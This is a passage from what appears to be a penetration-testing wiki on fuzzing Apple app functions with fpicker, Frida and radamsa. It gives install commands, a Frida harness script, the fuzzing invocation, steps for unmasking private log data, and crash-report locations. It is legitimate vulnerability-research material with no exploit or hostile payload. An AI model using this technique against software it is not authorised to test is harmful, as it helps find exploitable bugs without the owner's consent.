{% endhint %}
|
||||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) is a **Frida-based fuzzing suite** that offers a variety of fuzzing modes for in-process fuzzing, such as an AFL++ mode or a passive tracing mode. It should run on all platforms that are supported by Frida.
|
||||
|
||||
* [**Install fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
|
||||
```bash
|
||||
# Get fpicker
|
||||
git clone https://github.com/ttdennis/fpicker
|
||||
cd fpicker
|
||||
|
||||
# Get Frida core devkit and prepare fpicker
|
||||
wget https://github.com/frida/frida/releases/download/16.1.4/frida-core-devkit-16.1.4-[yourOS]-[yourarchitecture].tar.xz
|
||||
# e.g. https://github.com/frida/frida/releases/download/16.1.4/frida-core-devkit-16.1.4-macos-arm64.tar.xz
|
||||
tar -xf ./*tar.xz
|
||||
cp libfrida-core.a libfrida-core-[yourOS].a #libfrida-core-macos.a
|
||||
|
||||
# Install fpicker
|
||||
make fpicker-[yourOS] # fpicker-macos
|
||||
# This generates ./fpicker
|
||||
|
||||
# Install radamsa (fuzzer generator)
|
||||
brew install radamsa
|
||||
```
|
||||
|
||||
* **Prepare the FS:**
|
||||
|
||||
```bash
|
||||
# From inside fpicker clone
|
||||
mkdir -p examples/wg-log # Where the fuzzing script will be
|
||||
mkdir -p examples/wg-log/out # For code coverage and crashes
|
||||
mkdir -p examples/wg-log/in # For starting inputs
|
||||
|
||||
# Create at least 1 input for the fuzzer
|
||||
echo Hello World > examples/wg-log/in/0
|
||||
```
|
||||
|
||||
* **Fuzzer script** (`examples/wg-log/myfuzzer.js`):
|
||||
|
||||
{% code title="examples/wg-log/myfuzzer.js" %}
|
||||
```javascript
|
||||
// Import the fuzzer base class
|
||||
import { Fuzzer } from "../../harness/fuzzer.js";
|
||||
|
||||
class WGLogFuzzer extends Fuzzer {
|
||||
|
||||
constructor() {
|
||||
console.log("WGLogFuzzer constructor called")
|
||||
|
||||
// Get and declare the function we are going to fuzz
|
||||
var wg_log_addr = Module.findExportByName("<Program name>", "<func name to fuzz>");
|
||||
var wg_log_func = new NativeFunction(
|
||||
wg_log_addr,
|
||||
"void", ["pointer", "pointer", "pointer"], {
|
||||
});
|
||||
|
||||
// Initialize the object
|
||||
super("<Program nane>", wg_log_addr, wg_log_func);
|
||||
this.wg_log_addr = wg_log_addr; // We cannot use "this" before calling "super"
|
||||
|
||||
console.log("WGLogFuzzer in the middle");
|
||||
|
||||
// Prepare the second argument to pass to the fuzz function
|
||||
this.tag = Memory.allocUtf8String("arg2");
|
||||
|
||||
// Get the first argument we need to pass from a call to the functino we want to fuzz
|
||||
var wg_log_global_ptr = null;
|
||||
console.log(this.wg_log_addr);
|
||||
Interceptor.attach(this.wg_log_addr, {
|
||||
onEnter: function(args) {
|
||||
console.log("Entering in the function to get the first argument");
|
||||
wg_log_global_ptr = new NativePointer(args[0]);
|
||||
}
|
||||
});
|
||||
|
||||
while (! wg_log_global_ptr) {
|
||||
Thread.sleep(1)
|
||||
}
|
||||
this.wg_log_global_ptr = wg_log_global_ptr;
|
||||
console.log("WGLogFuzzer prepare ended")
|
||||
}
|
||||
|
||||
|
||||
// This function is called by the fuzzer with the first argument being a pointer into memory
|
||||
// where the payload is stored and the second the length of the input.
|
||||
fuzz(payload, len) {
|
||||
// Get a pointer to payload being a valid C string (with a null byte at the end)
|
||||
var payload_cstring = payload.readCString(len);
|
||||
this.payload = Memory.allocUtf8String(payload_cstring);
|
||||
|
||||
// Debug and fuzz
|
||||
this.debug_log(this.payload, len);
|
||||
// Pass the 2 first arguments we know the function needs and finally the payload to fuzz
|
||||
this.target_function(this.wg_log_global_ptr, this.tag, this.payload);
|
||||
}
|
||||
}
|
||||
|
||||
const f = new WGLogFuzzer();
|
||||
rpc.exports.fuzzer = f;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **Compile** the fuzzer:
|
||||
|
||||
```bash
|
||||
# From inside fpicker clone
|
||||
## Compile from "myfuzzer.js" to "harness.js"
|
||||
frida-compile examples/wg-log/myfuzzer.js -o harness.js
|
||||
```
|
||||
|
||||
* Call fuzzer **`fpicker`** using **`radamsa`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Indicate fpicker to fuzz a program with the harness.js script and which folders to use
|
||||
fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o examples/wg-log/out/ -i examples/wg-log/in/ -f harness.js --standalone-mutator cmd --mutator-command "radamsa"
|
||||
# You can find code coverage and crashes in examples/wg-log/out/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
In this case we **aren't restarting the app or restoring the state** after each payload. So, if Frida finds a **crash** the **next inputs** after that payload might also **crash the app** (because the app is in a unstable state) even if the **input shouldn't crash** the app.
|
||||
|
||||
Moreover, Frida will hook into exception signals of iOS, so when **Frida finds a crash**, probably an **iOS crash reports won't be generated**.
|
||||
|
||||
To prevent this, for example, we could restart the app after each Frida crash.
|
||||
{% endhint %}
|
||||
|
||||
### Logs & Crashes
|
||||
|
||||
You can check the **macOS console** or the **`log`** cli to check macOS logs.\
|
||||
You can check also the logs from iOS using **`idevicesyslog`**.\
|
||||
Some logs will omit information adding **`<private>`**. To show all the info you need to install some profile from [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) to enable that private info.
|
||||
|
||||
If you don't know what to do:
|
||||
|
||||
```sh
|
||||
vim /Library/Preferences/Logging/com.apple.system.logging.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Enable-Private-Data</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
|
||||
killall -9 logd
|
||||
```
|
||||
|
||||
You can check the crashes in: 
|
||||
|
||||
* **iOS**
|
||||
* Settings → Privacy → Analytics & Improvements → Analytics Data
|
||||
* `/private/var/mobile/Library/Logs/CrashReporter/`
|
||||
* **macOS**:
|
||||
* `/Library/Logs/DiagnosticReports/`
|
||||
* `~/Library/Logs/DiagnosticReports`
|
||||
|
||||
{% hint style="warning" %}
|
||||
iOS only stores 25 crashes of the same app, so you need to clean that or iOS will stop creating crashes.
|
||||
{% endhint %}
|
||||
|
||||
## Frida Android Tutorials
|
||||
|
||||
{% content-ref url="../android-app-pentesting/frida-tutorial/" %}
|
||||
|
|